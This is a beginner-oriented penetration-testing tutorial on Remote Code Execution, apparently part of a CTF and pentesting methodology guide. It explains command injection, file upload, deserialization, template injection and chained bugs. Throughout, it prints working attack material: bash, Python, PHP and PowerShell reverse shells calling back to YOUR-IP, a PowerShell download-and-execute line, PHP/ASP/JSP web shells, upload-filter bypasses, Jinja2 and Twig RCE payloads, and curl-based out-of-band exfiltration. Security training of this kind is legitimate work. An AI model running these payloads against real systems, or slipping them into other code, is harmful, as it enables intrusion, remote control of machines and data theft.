Finding a vulnerability is the discovery. Getting code to run on a system you do not own — without sitting in front of it, without an account, sometimes without any credentials at all — that is Remote Code Execution. It is the moment a vulnerability stops being theoretical. Everything before this was reconnaissance. This is the objective. If you get overwhelmed or feel stuck, that's okay. Check the analogies, and the "Here is where we are" section. Take your time, go through the steps, research, look at write-ups.
🔰 Beginners: Every term in this section gets explained before it is used. Work through it in order and the worked examples at the bottom will make complete sense.
⚡ Seasoned practitioners: Jump to the Real Worked Examples for the workflow reference.
Here is where we are:
-
The exploit is how you break in — the SQL injection, the buffer overflow, the file upload bypass, the SSTI. That is the mechanism.
-
The payload is what you send to cause something to happen — the reverse shell one-liner, the shellcode, the malicious serialized object. That is the content.
-
RCE is what you have achieved when the payload executes on the remote system. It is the capability — the fact that you can now run commands on a machine you do not own.
Example: Target - Apache 2.4.49 Exploit → CVE-2021-41773 path traversal vulnerability you send a crafted URL that bypasses access controls Payload → bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 the reverse shell command you want the server to execute RCE → the server runs your payload you get a shell back on your listener that capability is Remote Code Execution
- What Is Remote Code Execution — Plain English
- Why RCE Is the Goal
- How RCE Happens — The Paths In
- Command Injection — The Simplest RCE
- RCE via File Upload
- RCE via Deserialization
- RCE via Server-Side Template Injection
- RCE via Known CVEs
- Turning RCE Into a Shell
- Confirming and Stabilizing Execution
- Advanced RCE Concepts
- Real Worked Examples
- CTF vs Real World
Remote Code Execution — RCE for short — means making a computer run code that you wrote, from somewhere else, without physical access to that machine.
The word "remote" means you are not sitting at the machine. You are somewhere else — across a network, across the internet, in a different country — and the machine is executing instructions you sent to it.
The word "code" means any instruction the computer can execute — a
command, a script, a program. It could be as simple as whoami to
confirm who you are running as, or as complex as a full reverse shell
that gives you an interactive command prompt.
The everyday analogy:
Think of a vending machine. You put in money, press a button, and the machine does something — drops your snack. The machine is the server. The button is the input the developer expected. RCE is when you figure out that pressing a specific combination of buttons in a specific order makes the machine open its own door instead of dropping a snack.
You did not break the machine. You found an input combination the manufacturer never intended — and the machine responded to it.
In penetration testing and security research, RCE is typically the most critical finding possible. Here is why it matters more than other vulnerabilities:
Information disclosure → you can read things you should not
SQL injection → you can read and modify database data
XSS → you can affect other users' browsers
RCE → you control the machine itself
With RCE you are not limited to what the application exposes. You have access to everything the server has access to — files, other services running internally, network connections to other systems, credentials stored on disk. RCE is the vulnerability class that ends conversations about "how bad is this really?"
The answer is: as bad as it gets.
RCE is not one vulnerability — it is an outcome that can be reached through many different paths. Understanding the paths helps you recognize which one applies to your target.
Path 1 → Command Injection
Application passes user input directly to an OS command
You inject additional commands alongside it
Path 2 → File Upload
Application accepts file uploads without proper restriction
You upload a file containing executable code
Path 3 → Deserialization
Application converts stored data back into objects unsafely
You craft malicious data that executes code during conversion
Path 4 → Server-Side Template Injection (SSTI)
Application uses templates to generate pages dynamically
You inject template syntax that the engine executes
Path 5 → Known CVE
A specific vulnerability in a specific software version
A public exploit exists and you run it
(covered in Vuln Research and Exploit Categories)
Path 6 → Chained vulnerabilities
No single vulnerability gives RCE
You combine two or more lower-severity issues to reach it
Plain English: Some web applications need to run operating system
commands to do their job. A network diagnostic tool might run ping.
A file processing tool might run convert. A system monitor might
run ps to list processes.
When an application takes user input and includes it directly in one of these OS commands without checking it — you can inject your own commands alongside the legitimate one.
The analogy: Imagine you are ordering coffee at a drive-through by typing your name into a screen that prints it on your cup. The staff then reads the cup and makes your drink. Command injection is typing your name as "John; also make me a sandwich" — and the kitchen follows both instructions.
# Test characters that chain commands in Linux/macOS
; # run the next command regardless
&& # run the next command only if the first succeeded
|| # run the next command only if the first failed
| # pipe output of first command to second
`command` # backtick executes command and substitutes output
$(command) # same as backtick but more readable
# Test characters that work in Windows
& # run both commands
&& # run second only if first succeeded
| # pipeTesting in a web form that runs ping:
# Normal input
127.0.0.1
# Injected input — Linux
127.0.0.1; whoami
127.0.0.1 && id
127.0.0.1 | cat /etc/passwd
127.0.0.1 `id`
127.0.0.1; ls -la
# Injected input — Windows
127.0.0.1 & whoami
127.0.0.1 && dir
127.0.0.1 | ipconfig
If whoami or id output appears in the page response —
command injection is confirmed and you have RCE.
Once command injection is confirmed, the next step is getting a proper interactive shell. One-liner reverse shells are covered in full depth in the Shells section.
# Set up your listener first
nc -lvnp 4444
# Basic bash reverse shell (inject this as the command)
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1
# URL encoded version for web forms
bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261
# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Windows PowerShell reverse shell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"Plain English: Many web applications let you upload files — profile pictures, documents, attachments. The server stores those files and often makes them accessible through a URL.
The vulnerability happens when the application accepts files it should not — specifically files containing executable code — and stores them somewhere the web server can execute them.
The most common example: A PHP web shell. PHP is a server-side
scripting language that web servers execute when a .php file is
requested. If you can upload a .php file and then request it through
a browser, the server executes whatever PHP code is in that file.
<?php system($_GET["cmd"]); ?>Breaking this down plain English:
system()— runs an operating system command$_GET["cmd"]— takes whatever value is in the URL parameter namedcmd- Together: whatever you put in
?cmd=in the URL gets executed on the server
Save this as shell.php, upload it, then access:
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=cat+/etc/passwd
Most applications try to restrict what files can be uploaded. Here are the common restrictions and how they get bypassed:
Client-side validation — weakest protection:
The check happens in your browser before uploading
Bypass: intercept with Burp Suite and change the filename after
the browser check but before the server receives it
MIME type checking:
The server checks the Content-Type header of the upload
Bypass: intercept with Burp Suite and change Content-Type to
image/jpeg while keeping the .php extension and content
Extension blacklisting:
The server blocks .php files specifically
Bypass options:
.php3, .php4, .php5, .phtml, .phar ← alternative PHP extensions
.PHP (uppercase) ← case sensitivity bypass
shell.php.jpg ← double extension
shell.php%00.jpg ← null byte (older servers)
Extension whitelisting — stronger protection:
The server only allows specific extensions like .jpg or .png
Bypass options:
Find a directory where the server executes all file types
Upload a .jpg containing PHP code and find another vulnerability
to execute it (LFI chain — covered in the LFI section)
Content checking — strongest protection:
The server reads the file content and verifies it looks like an image
Bypass: add a valid image header before your PHP code
ÿØÿÛ<?php system($_GET["cmd"]); ?>
The file starts with valid JPEG bytes — passes content check
PHP code follows — still executes if server is misconfigured
<!-- ASP web shell — old IIS servers -->
<% eval request("cmd") %>
<!-- ASPX web shell — modern IIS -->
<%@ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start("cmd.exe",
"/c " + Request["cmd"]).StandardOutput.ReadToEnd()); %><!-- JSP web shell — Java servers (Tomcat, JBoss) -->
<%
String cmd = request.getParameter("cmd");
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
%>Plain English: Serialization is how applications save complex data — like a user session or a shopping cart — into a format that can be stored or transmitted. Imagine taking a detailed LEGO model apart according to the instruction booklet and writing down every step so you can rebuild it later. The written instructions are the serialized form.
Deserialization is rebuilding the LEGO model from those instructions.
The vulnerability happens when an application deserializes data from an untrusted source — like a cookie or a POST parameter — without checking it first. If an attacker can craft their own "instructions" (serialized data), they can make the application "build" something it was never supposed to — including code execution.
Why this is dangerous: The code executes during the deserialization process itself, before the application has a chance to validate anything. By the time the application knows something is wrong, the code has already run.
Java serialization:
→ Look for base64 encoded data starting with rO0AB
→ Or raw bytes starting with \xac\xed\x00\x05
→ Common in Java web applications, especially older ones
PHP serialization:
→ Look for strings starting with O: or a: in cookies or parameters
→ Example: O:8:"UserData":1:{s:4:"name";s:5:"admin";}
Python pickle:
→ Look for binary data in cookies or API parameters
→ Flask sessions use base64 encoded pickle data
# ysoserial — Java deserialization payload generator
# Download from: https://github.com/frohoff/ysoserial
# Generate a payload that runs a command
java -jar ysoserial.jar CommonsCollections6 'whoami' | base64
# Generate a reverse shell payload
java -jar ysoserial.jar CommonsCollections6 \
'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1' | base64
# PHPGGC — PHP deserialization payload generator
# https://github.com/ambionics/phpggc
phpggc Laravel/RCE1 system whoamiPlain English: Web applications often use templates to generate pages dynamically. A template is like a form letter — it has fixed text with blank spaces where dynamic content gets inserted. The template engine fills in those blanks when generating the page.
Hello, {{username}}! becomes Hello, Alice! when the username
is Alice.
SSTI happens when user input ends up inside the template itself — not just in a blank space being filled, but in the template code. Template engines are designed to evaluate expressions — that is their job. When your input becomes part of the template, the engine evaluates it just like any other template expression.
Different template engines have different syntax:
Jinja2 (Python/Flask): {{ 7*7 }} → 49
Twig (PHP): {{ 7*7 }} → 49
Freemarker (Java): ${7*7} → 49
Smarty (PHP): {7*7} → 49
Velocity (Java): #set($x=7*7) → 49
# Test by injecting mathematical expressions
# If the result is evaluated — SSTI is confirmed
# In any input field, URL parameter, or header:
{{7*7}} ← should return 49 if Jinja2/Twig
${7*7} ← should return 49 if Freemarker
#{7*7} ← should return 49 if Ruby ERB
<%= 7*7 %> ← should return 49 if ERB
# If the page shows 49 instead of {{7*7}} — SSTI confirmed
# Jinja2 (Python/Flask) — RCE payload
# This chains Python class introspection to reach os.popen
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
# Simpler Jinja2 payload
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig (PHP) — RCE payload
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}Tool: tplmap — automated SSTI detection and exploitation
# Install
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip3 install -r requirements.txt
# Scan for SSTI
python3 tplmap.py -u 'http://target.com/page?name=test'
# Get a shell
python3 tplmap.py -u 'http://target.com/page?name=test' --os-shellPlain English: Some software versions have documented, publicly known vulnerabilities that lead directly to RCE. You do not need to find or understand the vulnerability yourself — you need to confirm the version, find the exploit, and run it.
This is the most common RCE path in CTF environments and still common in real engagements against unpatched systems.
# The workflow — covered in full in Vuln Research
# Step 1 — identify version with nmap
nmap -sV target
# Step 2 — search for RCE exploits
searchsploit "software name" "version" rce
searchsploit "software name" "version" "remote code execution"
# Step 3 — check Exploit-DB
# exploit-db.com → search → filter Type: Remote
# Step 4 — run the exploit
# See Manual Exploitation section for the full workflowConfirming RCE through command output in a web page is the start, not the end. A proper interactive shell is the goal.
Why a shell over just command output:
- Command output in a page is one command at a time
- A shell lets you navigate, chain commands, and work interactively
- A shell survives if the web application reloads
- A shell can be upgraded to a full TTY (fully interactive terminal)
The standard path:
# Step 1 — start your listener
nc -lvnp 4444
# Step 2 — inject a reverse shell one-liner
# Choose based on what is available on the target
# Bash (Linux — most common)
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PHP (when RCE is through a PHP vulnerability)
php -r '$sock=fsockopen("YOUR-IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('YOUR-IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Full shell upgrading and stabilization is covered in Shells — the most important section in this guide.
Before going further, confirm exactly what you have:
# Who are you running as?
whoami
id
# What machine is this?
hostname
uname -a # Linux
systeminfo # Windows
# What network does this machine sit on?
ip addr # Linux
ipconfig # Windows
# What other services are running locally?
# (things not visible from outside)
ss -tlnp # Linux — listening ports
netstat -an # Windows — listening ports
# Are there other users?
cat /etc/passwd # Linux
net user # WindowsPlain English: Sometimes you have command execution but you cannot see the output. The command runs on the server but the result never appears in the page response. This is called blind RCE — you know something is happening but you cannot see what.
How to confirm blind RCE:
# Make the server ping you — watch tcpdump for the incoming ping
# On your machine:
tcpdump -i tun0 icmp
# Inject this command on the target:
ping -c 1 YOUR-IP
# If you see the ping arrive in tcpdump — blind RCE confirmed
# Use time delays to confirm (like time-based SQLi)
sleep 5 # Linux — page should take 5 seconds longer
ping -n 5 127.0.0.1 # Windows equivalent delayExtracting output from blind RCE:
# Option 1 — out-of-band via DNS
# Make the server do a DNS lookup containing command output
# Requires a domain you control (Burp Collaborator, interactsh)
curl "http://$(whoami).YOUR-DOMAIN.com"
# Option 2 — write output to a web-accessible file
whoami > /var/www/html/output.txt
# Then read it at: http://target.com/output.txt
# Option 3 — get a reverse shell
# Blind RCE can still execute reverse shells
# You just cannot see the command output — the shell callback shows itPlain English: Many real-world RCE vulnerabilities are not a single flaw — they are two or more lower-severity issues combined. Neither one alone gives code execution. Together they do.
Common chains:
LFI + Log Poisoning → RCE
Step 1: Write PHP code into a server log via LFI
Step 2: Include the log file via LFI to execute the code
SSRF + Internal Service → RCE
Step 1: Use SSRF to reach an internal service not exposed externally
Step 2: Exploit that internal service for RCE
File Upload + Path Traversal → RCE
Step 1: Upload a file to a non-executable directory
Step 2: Use path traversal to move it to an executable location
Scenario: A web application that accepts file uploads and runs a command on uploaded files without sanitizing the filename.
# Step 1 — identify the injection point
# Upload a file and observe what happens
# The application runs: file -mime [filename]
# Step 2 — craft a malicious filename
# Create a file with a command-injecting name
touch 'test.php;whoami'
# Step 3 — upload and observe
# If whoami output appears — command injection confirmed
# Step 4 — get a reverse shell
# Start listener
nc -lvnp 4444
# Craft reverse shell filename
touch "shell.php; bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 #.php"
# Upload and triggerScenario: A Flask web application with a template injection vulnerability in the username field.
# Step 1 — detect SSTI
# Enter {{7*7}} in the username field
# If the profile page shows 49 — SSTI confirmed
# Step 2 — confirm code execution
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Step 3 — get a reverse shell
# Start listener
nc -lvnp 4444
# Inject reverse shell via SSTI
{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/YOUR-IP/4444 0>&1').read()}}Scenario: A web application allows image uploads but checks file extension and MIME type.
# Step 1 — create a PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Step 2 — attempt direct upload — blocked
# "Only image files allowed"
# Step 3 — bypass with double extension
mv shell.php shell.php.jpg
# Upload — may succeed depending on server config
# Step 4 — bypass with Burp Suite
# Upload a real image
# Intercept with Burp
# Change filename from image.jpg to shell.php
# Change Content-Type from image/jpeg to image/jpeg (keep it)
# Forward the request
# Step 5 — access the shell
curl "http://target.com/uploads/shell.php?cmd=id"
# Step 6 — get a reverse shell
nc -lvnp 4444
curl "http://target.com/uploads/shell.php?cmd=bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261"Practice targets:
- HackTheBox — Networked (command injection)
- HackTheBox — Bolt (SSTI)
- HackTheBox — Upload (file upload)
- HackTheBox — Bashed (command injection via web shell)
- DVWA — Command Injection module (beginner)
- PentesterLab — Code Execution exercises
| CTF | Real Engagement | |
|---|---|---|
| Finding RCE | Usually the intended path | Requires thorough testing |
| Output visible | Usually yes | Often blind — need OOB techniques |
| WAF present | Rarely | Almost always |
| Shell stability | Less critical | Essential — do not lose access |
| Cleanup | Not required | Remove all artifacts |
| Chaining needed | Sometimes | Common — single vulns rarely give RCE |
| Documentation | Notes | Full evidence including screenshots |
| Resource | What It Covers |
|---|---|
| LFI/RFI | File inclusion chains to RCE |
| SSRF | Server-side request forgery chains to RCE |
| Manual Exploitation | Running RCE exploits manually |
| Shells | Turning RCE into a proper shell |
| Evasion | Bypassing WAF on RCE attempts |
| Vuln Research | Finding RCE CVEs |
by SudoChef · Part of the SudoCode Pentesting Methodology Guide